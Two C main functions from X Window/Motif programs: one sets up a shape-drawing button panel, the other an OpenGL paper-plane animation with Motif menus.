void main (int argc, char **argv) { XtAppContext app; char *msg=" Motif * Xwindows * PythonTurtle "; XmString xmstr; if (putenv ("XENVIRONMENT=XPdraw.color") < 0) printf ("can't set XENVIRONMENT\n"); shell = XtAppInitialize (&app, "DrawShapes", NULL, 0, &argc, argv, NULL, NULL, 0); panel = XtCreateManagedWidget ("panel", xmFormWidgetClass, shell, NULL, 0); display = XtDisplay (shell); screen = DefaultScreen (display); cmap = DefaultColormap (display, screen); xmstr = XmStringCreate ( msg, XmFONTLIST_DEFAULT_TAG ); topLabel = XtVaCreateManagedWidget ( "topLabel", xmLabelWidgetClass, panel, XmNlabelString, xmstr, XmNtopAttachment, XmATTACH_FORM, XmNrightAttachment, XmATTACH_FORM, XmNleftAttachment, XmATTACH_FORM, XmNbottomAttachment, XmATTACH_NONE, NULL ); XwPy = XtVaCreateManagedWidget ("XwPy", xmRowColumnWidgetClass, panel, XmNnumColumns, 3, XmNorientation, XmHORIZONTAL, XmNtopAttachment, XmATTACH_WIDGET, XmNtopWidget, topLabel, XmNleftAttachment, XmATTACH_FORM, XmNrightAttachment, XmATTACH_FORM, XmNbottomAttachment, XmATTACH_NONE, NULL ); drawShapes = XtVaCreateManagedWidget ("drawShapes", xmRowColumnWidgetClass, panel, XmNnumColumns, 3, XmNorientation, XmHORIZONTAL, XmNtopAttachment, XmATTACH_WIDGET, XmNtopWidget, XwPy, XmNleftAttachment, XmATTACH_FORM, XmNrightAttachment, XmATTACH_FORM, XmNbottomAttachment, XmATTACH_NONE, NULL); startEnd = XtVaCreateManagedWidget ("startEnd", xmRowColumnWidgetClass, panel, XmNnumColumns, 3, XmNorientation, XmHORIZONTAL, XmNtopAttachment, XmATTACH_WIDGET, XmNtopWidget, drawShapes, XmNleftAttachment, XmATTACH_FORM, XmNrightAttachment, XmATTACH_FORM, XmNbottomAttachment, XmATTACH_NONE, NULL); quitControl = XtVaCreateManagedWidget ("quitControl", xmRowColumnWidgetClass, panel, XmNnumColumns, 3, XmNorientation, XmHORIZONTAL, XmNtopAttachment, XmATTACH_WIDGET, XmNtopWidget, startEnd, XmNleftAttachment, XmATTACH_FORM, XmNrightAttachment, XmATTACH_FORM, XmNbottomAttachment, XmATTACH_NONE, NULL); yes = XtCreateManagedWidget (" Yes ", xmPushButtonWidgetClass, quitControl, NULL, 0); quit = XtCreateManagedWidget (" Quit ", xmPushButtonWidgetClass, quitControl, NULL, 0); no = XtCreateManagedWidget (" No ", xmPushButtonWidgetClass, quitControl, NULL, 0); start = XtCreateManagedWidget(" Start ", xmPushButtonWidgetClass, startEnd, NULL, 0); Dum1 = XtCreateManagedWidget (" ", xmPushButtonWidgetClass, startEnd, NULL, 0); end = XtCreateManagedWidget (" End ", xmPushButtonWidgetClass, startEnd, NULL, 0); cir = XtCreateManagedWidget (" Circls ", xmPushButtonWidgetClass, drawShapes, NULL, 0); rec = XtCreateManagedWidget (" Rectagles ", xmPushButtonWidgetClass, drawShapes, NULL, 0); tri = XtCreateManagedWidget (" Triangles ", xmPushButtonWidgetClass, drawShapes, NULL, 0); xw = XtCreateManagedWidget (" Xwindows ", xmPushButtonWidgetClass, XwPy, NULL, 0); Dum2 = XtCreateManagedWidget (" ", xmPushButtonWidgetClass, XwPy, NULL, 0); py = XtCreateManagedWidget (" Python ", xmPushButtonWidgetClass, XwPy, NULL, 0); XtAddCallback (quit, XmNactivateCallback, quitCallback, NULL); XtAddCallback (yes, XmNactivateCallback, yesCallback, NULL); XtAddCallback (no, XmNactivateCallback, noCallback, NULL); XtAddCallback (start, XmNactivateCallback, startCallback, NULL); XtAddCallback (end, XmNactivateCallback, endCallback, NULL); XtAddCallback (cir, XmNactivateCallback, circlesCallback, NULL); XtAddCallback (rec, XmNactivateCallback, rectanglesCallback, NULL); XtAddCallback (tri, XmNactivateCallback, trianglesCallback, NULL); XtAddCallback (xw, XmNactivateCallback, xwindowsCallback, NULL); XtAddCallback (py, XmNactivateCallback, pythonCallback, NULL); XtRealizeWidget (shell); XtUnmapWidget(Dum1); XtUnmapWidget(Dum2); XtUnmapWidget(yes); XtUnmapWidget(no); initInterface(); XtAppMainLoop (app); }
main(int argc, char *argv[]) { toplevel = XtAppInitialize(&app, "Paperplane", NULL, 0, &argc, argv, fallbackResources, NULL, 0); dpy = XtDisplay(toplevel); /* find an OpenGL-capable RGB visual with depth buffer */ vi = glXChooseVisual(dpy, DefaultScreen(dpy), dblBuf); if (vi == NULL) { vi = glXChooseVisual(dpy, DefaultScreen(dpy), snglBuf); if (vi == NULL) XtAppError(app, "no RGB visual with depth buffer"); doubleBuffer = GL_FALSE; } /* create an OpenGL rendering context */ cx = glXCreateContext(dpy, vi, /* no display list sharing */ None, /* favor direct */ GL_TRUE); if (cx == NULL) XtAppError(app, "could not create rendering context"); /* create an X colormap since probably not using default visual */ #ifdef noGLwidget cmap = XCreateColormap(dpy, RootWindow(dpy, vi->screen), vi->visual, AllocNone); /* * Establish the visual, depth, and colormap of the toplevel * widget _before_ the widget is realized. */ XtVaSetValues(toplevel, XtNvisual, vi->visual, XtNdepth, vi->depth, XtNcolormap, cmap, NULL); #endif XtAddEventHandler(toplevel, StructureNotifyMask, False, map_state_changed, NULL); mainw = XmCreateMainWindow(toplevel, "mainw", NULL, 0); XtManageChild(mainw); /* create menu bar */ menubar = XmCreateMenuBar(mainw, "menubar", NULL, 0); XtManageChild(menubar); #ifdef noGLwidget /* Hack around Xt's unfortunate default visual inheritance. */ XtSetArg(menuPaneArgs[0], XmNvisual, vi->visual); menupane = XmCreatePulldownMenu(menubar, "menupane", menuPaneArgs, 1); #else menupane = XmCreatePulldownMenu(menubar, "menupane", NULL, 0); #endif btn = XmCreatePushButton(menupane, "Quit", NULL, 0); XtAddCallback(btn, XmNactivateCallback, quit, NULL); XtManageChild(btn); XtSetArg(args[0], XmNsubMenuId, menupane); cascade = XmCreateCascadeButton(menubar, "File", args, 1); XtManageChild(cascade); #ifdef noGLwidget menupane = XmCreatePulldownMenu(menubar, "menupane", menuPaneArgs, 1); #else menupane = XmCreatePulldownMenu(menubar, "menupane", NULL, 0); #endif btn = XmCreateToggleButton(menupane, "Motion", NULL, 0); XtAddCallback(btn, XmNvalueChangedCallback, (XtCallbackProc)toggle, NULL); XtManageChild(btn); btn = XmCreatePushButton(menupane, "Add plane", NULL, 0); XtAddCallback(btn, XmNactivateCallback, (XtCallbackProc)add_plane, NULL); XtManageChild(btn); btn = XmCreatePushButton(menupane, "Remove plane", NULL, 0); XtAddCallback(btn, XmNactivateCallback, (XtCallbackProc)remove_plane, NULL); XtManageChild(btn); XtSetArg(args[0], XmNsubMenuId, menupane); cascade = XmCreateCascadeButton(menubar, "Planes", args, 1); XtManageChild(cascade); /* create framed drawing area for OpenGL rendering */ frame = XmCreateFrame(mainw, "frame", NULL, 0); XtManageChild(frame); #ifdef noGLwidget glxarea = XtVaCreateManagedWidget("glxarea", xmDrawingAreaWidgetClass, frame, NULL); #else #ifdef noMotifGLwidget /* notice glwDrawingAreaWidgetClass lacks an 'M' */ glxarea = XtVaCreateManagedWidget("glxarea", glwDrawingAreaWidgetClass, #else glxarea = XtVaCreateManagedWidget("glxarea", glwMDrawingAreaWidgetClass, #endif frame, GLwNvisualInfo, vi, NULL); #endif XtAddCallback(glxarea, XmNexposeCallback, (XtCallbackProc)draw, NULL); XtAddCallback(glxarea, XmNresizeCallback, resize, NULL); XtAddCallback(glxarea, XmNinputCallback, input, NULL); /* set up application's window layout */ XmMainWindowSetAreas(mainw, menubar, NULL, NULL, NULL, frame); XtRealizeWidget(toplevel); /* * Once widget is realized (ie, associated with a created X window), we * can bind the OpenGL rendering context to the window. */ glXMakeCurrent(dpy, XtWindow(glxarea), cx); made_current = GL_TRUE; /* setup OpenGL state */ glClearDepth(1.0); glClearColor(0.0, 0.0, 0.0, 0.0); glMatrixMode(GL_PROJECTION); glFrustum(-1.0, 1.0, -1.0, 1.0, 1.0, 20); glMatrixMode(GL_MODELVIEW); /* add three initial random planes */ srandom(getpid()); add_plane(); add_plane(); add_plane(); add_plane(); add_plane(); /* start event processing */ toggle(); XtAppMainLoop(app); }